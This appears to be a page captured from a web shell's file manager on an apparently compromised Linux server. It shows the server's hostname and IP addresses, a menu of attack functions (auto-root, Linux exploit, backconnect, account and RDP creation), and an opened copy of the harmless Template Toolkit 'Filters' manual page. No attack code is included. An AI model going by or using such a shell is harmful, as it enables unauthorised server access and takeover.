Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.188.137.209
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Template-Toolkit-2.24 /
manual /
[ HOME SHELL ]
Name
Size
Permission
Action
Config.html
138.03
KB
-rw-r--r--
Credits.html
14.14
KB
-rw-r--r--
Directives.html
129.52
KB
-rw-r--r--
Filters.html
40.71
KB
-rw-r--r--
Internals.html
37.98
KB
-rw-r--r--
Intro.html
22.93
KB
-rw-r--r--
Plugins.html
32.63
KB
-rw-r--r--
Syntax.html
21.75
KB
-rw-r--r--
VMethods.html
66.81
KB
-rw-r--r--
Variables.html
57.55
KB
-rw-r--r--
Views.html
41.31
KB
-rw-r--r--
index.html
16.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Filters.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Strict//EN"> <html> <head> <title>Template::Manual::Filters</title> <link rel="stylesheet" type="text/css" href="../css/blue.css" title="Clear Blue"> <link rel="alternate stylesheet" type="text/css" href="../css/orange.css" title="Clear Orange"> <link rel="alternate stylesheet" type="text/css" href="../css/green.css" title="Clear Green"> <link rel="alternate stylesheet" type="text/css" href="../css/purple.css" title="Clear Purple"> <link rel="alternate stylesheet" type="text/css" href="../css/grey.css" title="Clear Grey"> <link rel="alternate stylesheet" type="text/css" href="../css/print.css" title="Print"> <!--[if IE 6]> <link rel="stylesheet" type="text/css" href="../css/ie6.css" /> <![endif]--> <!--[if IE 7]> <link rel="stylesheet" type="text/css" href="../css/ie7.css" /> <![endif]--> <link rel="stylesheet" type="text/css" href="../css/print.css" media="print"> <script type="text/javascript" src="../js/tt2.js"></script> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> <meta name="author" content="Andy Wardley"> </head> <body id="body"> <div id="layout"> <div id="header"> <a href="../index.html" id="logo" alt="" title="Click for the Home Page"><span class="alt">TT2 Home Page</span></a> <ul id="trail"> <li><a href="../manual/index.html">Manual</a></li> <li class="last"><a href="../manual/Filters.html">Filters</a></li> </ul> <div class="controls"> <a href="#" class="menu show" onclick="widescreen_off(); return false" title="Show Menu"> <span class="about">Click to view the menu. It's very nice.</span> </a> <a href="#" class="menu hide" onclick="widescreen_on(); return false" title="Hide Menu"> <span class="about">Click to hide the menu and go all widescreen!</span> </a> <div class="pager"> <a href="../manual/Config.html" title="Template::Manual::Config" class="go back">Back<span class="about"><h4>Template::Manual::Config</h4>Configuration options</span></a> <a href="../manual/index.html" title="Template::Manual" class="go up">Up<span class="about"><h4>Template::Manual</h4>Template Toolkit User Manual</span></a> <a href="../manual/Plugins.html" title="Template::Manual::Plugins" class="go next">Next<span class="about"><h4>Template::Manual::Plugins</h4>Standard plugins</span></a> </div> </div> <h1 class="headline">Template::Manual::Filters</h1> <h2 class="subhead">Standard filters</h1> </div> <div id="page"> <div id="sidebar"> <a href="../index.html" id="logo"></a> <div id="menu"> <ul class="menu"> <li class="l0 first"><a href="../manual/index.html" class="warm">Manual</a></li> <li class="l1"><a href="../manual/Intro.html">Intro</a></li> <li class="l1"><a href="../manual/Syntax.html">Syntax</a></li> <li class="l1"><a href="../manual/Directives.html">Directives</a></li> <li class="l1"><a href="../manual/Variables.html">Variables</a></li> <li class="l1"><a href="../manual/VMethods.html">VMethods</a></li> <li class="l1"><a href="../manual/Config.html">Config</a></li> <li class="l1"><a href="../manual/Filters.html" class="warm">Filters</a></li> <li class="l1"><a href="../manual/Plugins.html">Plugins</a></li> <li class="l1"><a href="../manual/Internals.html">Internals</a></li> <li class="l1"><a href="../manual/Views.html">Views</a></li> <li class="l1"><a href="../manual/Credits.html">Credits</a></li> <li class="l0"><a href="../modules/index.html">Modules</a></li> <li class="l0"><a href="../tools/index.html">Tools</a></li> <li class="l0"><a href="../tutorial/index.html">Tutorial</a></li> <li class="l0 last"><a href="../faq/index.html">FAQ</a></li> </ul> <div class="foot"></div> </div> </div> <div id="content"> <div class="section"> <div class="head"> <h1 id="contents" onclick="switch_section(this)" title="Click title to show/hide section content.">Contents</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <ul class="toc"> <li class=""><a href="#format_format_">format(format)</a></li> <li class=""><a href="#upper">upper</a></li> <li class=""><a href="#lower">lower</a></li> <li class=""><a href="#ucfirst">ucfirst</a></li> <li class=""><a href="#lcfirst">lcfirst</a></li> <li class=""><a href="#trim">trim</a></li> <li class=""><a href="#collapse">collapse</a></li> <li class=""><a href="#html">html</a></li> <li class=""><a href="#html_entity">html_entity</a></li> <li class=""><a href="#xml">xml</a></li> <li class=""><a href="#html_para">html_para</a></li> <li class=""><a href="#html_break_html_para_break">html_break / html_para_break</a></li> <li class=""><a href="#html_line_break">html_line_break</a></li> <li class=""><a href="#uri">uri</a></li> <li class=""><a href="#url">url</a></li> <li class=""><a href="#indent_pad_">indent(pad)</a></li> <li class=""><a href="#truncate_length_dots_">truncate(length,dots)</a></li> <li class=""><a href="#repeat_iterations_">repeat(iterations)</a></li> <li class=""><a href="#remove_string_">remove(string)</a></li> <li class=""><a href="#replace_search_replace_">replace(search, replace)</a></li> <li class=""><a href="#redirect_file_options_">redirect(file, options)</a></li> <li class=""><a href="#eval_evaltt">eval / evaltt</a></li> <li class=""><a href="#perl_evalperl">perl / evalperl</a></li> <li class=""><a href="#stdout_options_">stdout(options)</a></li> <li class=""><a href="#stderr">stderr</a></li> <li class=""><a href="#null">null</a></li> </ul> </div> </div> <div class="pod"> <div class="section"> <div class="head"> <h1 id="format_format_" onclick="switch_section(this)" title="Click title to show/hide section content.">format(format)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The <code>format</code> filter takes a format string as a parameter (as per <code>printf()</code>) and formats each line of text accordingly. </p> <pre><span class="tt">[% FILTER format('<!-- %-40s -->') %]</span> This is a block of text filtered through the above format. <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre><!-- This is a block of text filtered --> <!-- through the above format. --></pre> </div> </div> <div class="section"> <div class="head"> <h1 id="upper" onclick="switch_section(this)" title="Click title to show/hide section content.">upper</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Folds the input to UPPER CASE. </p> <pre><span class="tt">[% "hello world" FILTER upper %]</span></pre> <p> Output: </p> <pre>HELLO WORLD</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="lower" onclick="switch_section(this)" title="Click title to show/hide section content.">lower</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Folds the input to lower case. </p> <pre><span class="tt">[% "Hello World" FILTER lower %]</span></pre> <p> Output: </p> <pre>hello world</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="ucfirst" onclick="switch_section(this)" title="Click title to show/hide section content.">ucfirst</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Folds the first character of the input to UPPER CASE. </p> <pre><span class="tt">[% "hello" FILTER ucfirst %]</span></pre> <p> Output: </p> <pre>Hello</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="lcfirst" onclick="switch_section(this)" title="Click title to show/hide section content.">lcfirst</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Folds the first character of the input to lower case. </p> <pre><span class="tt">[% "HELLO" FILTER lcfirst %]</span></pre> <p> Output: </p> <pre>hELLO</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="trim" onclick="switch_section(this)" title="Click title to show/hide section content.">trim</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Trims any leading or trailing whitespace from the input text. Particularly useful in conjunction with <code>INCLUDE</code>, <code>PROCESS</code>, etc., having the same effect as the <code>TRIM</code> configuration option. </p> <pre><span class="tt">[% INCLUDE myfile | trim %]</span></pre> </div> </div> <div class="section"> <div class="head"> <h1 id="collapse" onclick="switch_section(this)" title="Click title to show/hide section content.">collapse</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Collapse any whitespace sequences in the input text into a single space. Leading and trailing whitespace (which would be reduced to a single space) is removed, as per trim. </p> <pre><span class="tt">[% FILTER collapse %]</span> The cat sat on the mat <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>The cat sat on the mat</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="html" onclick="switch_section(this)" title="Click title to show/hide section content.">html</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Converts the characters <code><</code>, <code>></code>, <code>&</code> and <code>"</code> to <code>&lt;</code>, <code>&gt;</code>, <code>&amp;</code>, and <code>&quot;</code> respectively, protecting them from being interpreted as representing HTML tags or entities. </p> <pre><span class="tt">[% FILTER html %]</span> Binary "<=>" returns -1, 0, or 1 depending on... <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>Binary "&lt;=&gt;" returns -1, 0, or 1 depending on...</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="html_entity" onclick="switch_section(this)" title="Click title to show/hide section content.">html_entity</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The <code>html</code> filter is fast and simple but it doesn't encode the full range of HTML entities that your text may contain. The <code>html_entity</code> filter uses either the <code>Apache::Util</code> module (which is written in C and is therefore faster) or the <code>HTML::Entities</code> module (written in Perl but equally as comprehensive) to perform the encoding. </p> <p> If one or other of these modules are installed on your system then the text will be encoded (via the <code>escape_html()</code> or <code>encode_entities()</code> subroutines respectively) to convert all extended characters into their appropriate HTML entities (e.g. converting '<code>é</code>' to '<code>&eacute;</code>'). If neither module is available on your system then an '<code>html_entity</code>' exception will be thrown reporting an appropriate message. </p> <p> If you want to force TT to use one of the above modules in preference to the other, then call either of the <a href="../modules/Template/Filters.html">Template::Filters</a> class methods: <a href="../modules/Template/Filters.html#use_html_entities()">use_html_entities()</a> or <a href="../modules/Template/Filters.html#use_apache_util()">use_apache_util()</a>. </p> <pre>use Template::Filters; Template::Filters->use_html_entities;</pre> <p> For further information on HTML entity encoding, see <a href="http://www.w3.org/TR/REC-html40/sgml/entities.html">http://www.w3.org/TR/REC-html40/sgml/entities.html</a>. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="xml" onclick="switch_section(this)" title="Click title to show/hide section content.">xml</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Same as the <code>html</code> filter, but adds <code>&apos;</code> which is the fifth XML built-in entity. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="html_para" onclick="switch_section(this)" title="Click title to show/hide section content.">html_para</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> This filter formats a block of text into HTML paragraphs. A sequence of two or more newlines is used as the delimiter for paragraphs which are then wrapped in HTML <code><p></code>...<code></p></code> tags. </p> <pre><span class="tt">[% FILTER html_para %]</span> The cat sat on the mat. Mary had a little lamb. <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre><p> The cat sat on the mat. </p> <p> Mary had a little lamb. </p></pre> </div> </div> <div class="section"> <div class="head"> <h1 id="html_break_html_para_break" onclick="switch_section(this)" title="Click title to show/hide section content.">html_break / html_para_break</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Similar to the html_para filter described above, but uses the HTML tag sequence <code><br><br></code> to join paragraphs. </p> <pre><span class="tt">[% FILTER html_break %]</span> The cat sat on the mat. Mary had a little lamb. <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>The cat sat on the mat. <br> <br> Mary had a little lamb.</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="html_line_break" onclick="switch_section(this)" title="Click title to show/hide section content.">html_line_break</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> This filter replaces any newlines with <code><br></code> HTML tags, thus preserving the line breaks of the original text in the HTML output. </p> <pre><span class="tt">[% FILTER html_line_break %]</span> The cat sat on the mat. Mary had a little lamb. <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>The cat sat on the mat.<br> Mary had a little lamb.<br></pre> </div> </div> <div class="section"> <div class="head"> <h1 id="uri" onclick="switch_section(this)" title="Click title to show/hide section content.">uri</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> This filter URI escapes the input text, converting any characters outside of the permitted URI character set (as defined by RFC 2396) into a <code>%nn</code> hex escape. </p> <pre><span class="tt">[% 'my file.html' | uri %]</span></pre> <p> Output: </p> <pre>my%20file.html</pre> <p> The uri filter correctly encodes all reserved characters, including <code>&</code>, <code>@</code>, <code>/</code>, <code>;</code>, <code>:</code>, <code>=</code>, <code>+</code>, <code>?</code> and <code>$</code>. This filter is typically used to encode parameters in a URL that could otherwise be interpreted as part of the URL. Here's an example: </p> <pre><span class="tt">[% path = 'http://tt2.org/example' back = '/other?foo=bar&baz=bam' title = 'Earth: "Mostly Harmless"' %]</span> <a href="<span class="tt">[% path %]</span>?back=<span class="tt">[% back | uri %]</span>&title=<span class="tt">[% title | uri %]</span>"></pre> <p> The output generated is rather long so we'll show it split across two lines: </p> <pre><a href="http://tt2.org/example?back=%2Fother%3Ffoo%3Dbar%26 baz%3Dbam&title=Earth%3A%20%22Mostly%20Harmless%22"></pre> <p> Without the uri filter the output would look like this (also split across two lines). </p> <pre><a href="http://tt2.org/example?back=/other?foo=bar &baz=bam&title=Earth: "Mostly Harmless""></pre> <p> In this rather contrived example we've manage to generate both a broken URL (the repeated <code>?</code> is not allowed) and a broken HTML element (the href attribute is terminated by the first <code>"</code> after <code>Earth: </code> leaving <code>Mostly Harmless"</code> dangling on the end of the tag in precisely the way that harmless things shouldn't dangle). So don't do that. Always use the uri filter to encode your URL parameters. </p> <p> However, you should <b>not</b> use the uri filter to encode an entire URL. </p> <pre><a href="<span class="tt">[% page_url | uri %]</span>"> # WRONG!</pre> <p> This will incorrectly encode any reserved characters like <code>:</code> and <code>/</code> and that's almost certainly not what you want in this case. Instead you should use the <b>url</b> (note spelling) filter for this purpose. </p> <pre><a href="<span class="tt">[% page_url | url %]</span>"> # CORRECT</pre> <p> Please note that this behaviour was changed in version 2.16 of the Template Toolkit. Prior to that, the uri filter did not encode the reserved characters, making it technically incorrect according to the RFC 2396 specification. So we fixed it in 2.16 and provided the url filter to implement the old behaviour of not encoding reserved characters. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="url" onclick="switch_section(this)" title="Click title to show/hide section content.">url</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The url filter is a less aggressive version of the uri filter. It encodes any characters outside of the permitted URI character set (as defined by RFC 2396) into <code>%nn</code> hex escapes. However, unlike the uri filter, the url filter does <b>not</b> encode the reserved characters <code>&</code>, <code>@</code>, <code>/</code>, <code>;</code>, <code>:</code>, <code>=</code>, <code>+</code>, <code>?</code> and <code>$</code>. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="indent_pad_" onclick="switch_section(this)" title="Click title to show/hide section content.">indent(pad)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Indents the text block by a fixed pad string or width. The '<code>pad</code>' argument can be specified as a string, or as a numerical value to indicate a pad width (spaces). Defaults to 4 spaces if unspecified. </p> <pre><span class="tt">[% FILTER indent('ME> ') %]</span> blah blah blah cabbages, rhubard, onions <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>ME> blah blah blah ME> cabbages, rhubard, onions</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="truncate_length_dots_" onclick="switch_section(this)" title="Click title to show/hide section content.">truncate(length,dots)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Truncates the text block to the length specified, or a default length of 32. Truncated text will be terminated with '<code>...</code>' (i.e. the '<code>...</code>' falls inside the required length, rather than appending to it). </p> <pre><span class="tt">[% FILTER truncate(21) %]</span> I have much to say on this matter that has previously been said on more than one occasion. <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>I have much to say...</pre> <p> If you want to use something other than '<code>...</code>' you can pass that as a second argument. </p> <pre><span class="tt">[% FILTER truncate(26, '&hellip;') %]</span> I have much to say on this matter that has previously been said on more than one occasion. <span class="tt">[% END %]</span></pre> <p> Output: </p> <pre>I have much to say&hellip;</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="repeat_iterations_" onclick="switch_section(this)" title="Click title to show/hide section content.">repeat(iterations)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Repeats the text block for as many iterations as are specified (default: 1). </p> <pre><span class="tt">[% FILTER repeat(3) %]</span> We want more beer and we want more beer, <span class="tt">[% END %]</span> We are the more beer wanters!</pre> <p> Output: </p> <pre>We want more beer and we want more beer, We want more beer and we want more beer, We want more beer and we want more beer, We are the more beer wanters!</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="remove_string_" onclick="switch_section(this)" title="Click title to show/hide section content.">remove(string)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Searches the input text for any occurrences of the specified string and removes them. A Perl regular expression may be specified as the search string. </p> <pre><span class="tt">[% "The cat sat on the mat" FILTER remove('\s+') %]</span></pre> <p> Output: </p> <pre>Thecatsatonthemat</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="replace_search_replace_" onclick="switch_section(this)" title="Click title to show/hide section content.">replace(search, replace)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> Similar to the remove filter described above, but taking a second parameter which is used as a replacement string for instances of the search string. </p> <pre><span class="tt">[% "The cat sat on the mat" | replace('\s+', '_') %]</span></pre> <p> Output: </p> <pre>The_cat_sat_on_the_mat</pre> </div> </div> <div class="section"> <div class="head"> <h1 id="redirect_file_options_" onclick="switch_section(this)" title="Click title to show/hide section content.">redirect(file, options)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The <code>redirect</code> filter redirects the output of the block into a separate file, specified relative to the <code>OUTPUT_PATH</code> configuration item. </p> <pre><span class="tt">[% FOREACH user IN myorg.userlist %]</span> <span class="tt">[% FILTER redirect("users/${user.id}.html") %]</span> <span class="tt">[% INCLUDE userinfo %]</span> <span class="tt">[% END %]</span> <span class="tt">[% END %]</span></pre> <p> or more succinctly, using side-effect notation: </p> <pre><span class="tt">[% FOREACH user IN myorg.userlist; INCLUDE userinfo FILTER redirect("users/${user.id}.html"); END %]</span></pre> <p> A <code>file</code> exception will be thrown if the <code>OUTPUT_PATH</code> option is undefined. </p> <p> An optional <code>binmode</code> argument can follow the filename to explicitly set the output file to binary mode. </p> <pre><span class="tt">[% PROCESS my/png/generator FILTER redirect("images/logo.png", binmode=1) %]</span></pre> <p> For backwards compatibility with earlier versions, a single true/false value can be used to set binary mode. </p> <pre><span class="tt">[% PROCESS my/png/generator FILTER redirect("images/logo.png", 1) %]</span></pre> <p> For the sake of future compatibility and clarity, if nothing else, we would strongly recommend you explicitly use the named <code>binmode</code> option as shown in the first example. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="eval_evaltt" onclick="switch_section(this)" title="Click title to show/hide section content.">eval / evaltt</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The <code>eval</code> filter evaluates the block as template text, processing any directives embedded within it. This allows template variables to contain template fragments, or for some method to be provided for returning template fragments from an external source such as a database, which can then be processed in the template as required. </p> <pre>my $vars = { fragment => "The cat sat on the <span class="tt">[% place %]</span>", }; $template->process($file, $vars);</pre> <p> The following example: </p> <pre><span class="tt">[% fragment | eval %]</span></pre> <p> is therefore equivalent to </p> <pre>The cat sat on the <span class="tt">[% place %]</span></pre> <p> The <code>evaltt</code> filter is provided as an alias for <code>eval</code>. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="perl_evalperl" onclick="switch_section(this)" title="Click title to show/hide section content.">perl / evalperl</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The <code>perl</code> filter evaluates the block as Perl code. The <code>EVAL_PERL</code> option must be set to a true value or a <code>perl</code> exception will be thrown. </p> <pre><span class="tt">[% my_perl_code | perl %]</span></pre> <p> In most cases, the <code>[% PERL %]</code> ... <code>[% END %]</code> block should suffice for evaluating Perl code, given that template directives are processed before being evaluate as Perl. Thus, the previous example could have been written in the more verbose form: </p> <pre><span class="tt">[% PERL %]</span> <span class="tt">[% my_perl_code %]</span> <span class="tt">[% END %]</span></pre> <p> as well as </p> <pre><span class="tt">[% FILTER perl %]</span> <span class="tt">[% my_perl_code %]</span> <span class="tt">[% END %]</span></pre> <p> The <code>evalperl</code> filter is provided as an alias for <code>perl</code> for backwards compatibility. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="stdout_options_" onclick="switch_section(this)" title="Click title to show/hide section content.">stdout(options)</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The stdout filter prints the output generated by the enclosing block to <code>STDOUT</code>. The <code>binmode</code> option can be passed as either a named parameter or a single argument to set <code>STDOUT</code> to binary mode (see the binmode perl function). </p> <pre><span class="tt">[% PROCESS something/cool FILTER stdout(binmode=1) # recommended %]</span> <span class="tt">[% PROCESS something/cool FILTER stdout(1) # alternate %]</span></pre> <p> The <code>stdout</code> filter can be used to force <code>binmode</code> on <code>STDOUT</code>, or also inside <code>redirect</code>, <code>null</code> or <code>stderr</code> blocks to make sure that particular output goes to <code>STDOUT</code>. See the <code>null</code> filter below for an example. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="stderr" onclick="switch_section(this)" title="Click title to show/hide section content.">stderr</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The stderr filter prints the output generated by the enclosing block to <code>STDERR</code>. </p> </div> </div> <div class="section"> <div class="head"> <h1 id="null" onclick="switch_section(this)" title="Click title to show/hide section content.">null</h1> <a href="#body" class="top" title="Back up to the top of the page" >Top</a> </div> <div class="body"> <p> The <code>null</code> filter prints nothing. This is useful for plugins whose methods return values that you don't want to appear in the output. Rather than assigning every plugin method call to a dummy variable to silence it, you can wrap the block in a null filter: </p> <pre><span class="tt">[% FILTER null; USE im = GD.Image(100,100); black = im.colorAllocate(0, 0, 0); red = im.colorAllocate(255,0, 0); blue = im.colorAllocate(0, 0, 255); im.arc(50,50,95,75,0,360,blue); im.fill(50,50,red); im.png | stdout(1); END; -%]</span></pre> <p> Notice the use of the <code>stdout</code> filter to ensure that a particular expression generates output to <code>STDOUT</code> (in this case in binary mode). </p> </div> </div> </div></div> <br class="clear" /> <div class="pageinfo"> <a href="http://template-toolkit.org/docs/manual/Filters.html">http://template-toolkit.org/docs/manual/Filters.html</a> </div> </div> <div id="footer"> <a href="http://opensource.org/" class="osi"></a> <div class="controls"> <div class="pager"> <a href="../manual/Config.html" title="Template::Manual::Config" class="go back">Back<span class="about"><h4>Template::Manual::Config</h4></span></a> <a href="../manual/index.html" title="Template::Manual" class="go up">Up<span class="about"><h4>Template::Manual</h4></span></a> <a href="../manual/Plugins.html" title="Template::Manual::Plugins" class="go next">Next<span class="about"><h4>Template::Manual::Plugins</h4></span></a> </div> </div> <div class="copyright"> Copyright © 1996-2012 <a href="http://wardley.org/">Andy Wardley</a>. All Rights Reserved. </div> <div class="licence"> The <a href="http://template-toolkit.org/">Template Toolkit</a> is <a href="http://opensource.org/">Open Source</a> software. You can redistribute and/or modify it under the terms of the <a href="http://www.opensource.org/licenses/gpl-license.php">GNU Public Licence</a> or the <a href="http://www.opensource.org/licenses/artistic-license.php">Perl Artistic Licence</a>. </div> </div> <div id="palette"> <ul> <li class="first"><a href="#" class="blue" onclick="set_style('Clear Blue')"></a></li> <li><a href="#" class="orange" onclick="set_style('Clear Orange')"></a></li> <li><a href="#" class="green" onclick="set_style('Clear Green')"></a></li> <li><a href="#" class="purple" onclick="set_style('Clear Purple')"></a></li> <li><a href="#" class="grey" onclick="set_style('Clear Grey')"></a></li> </ul> </div> </div> </body> </html>
Close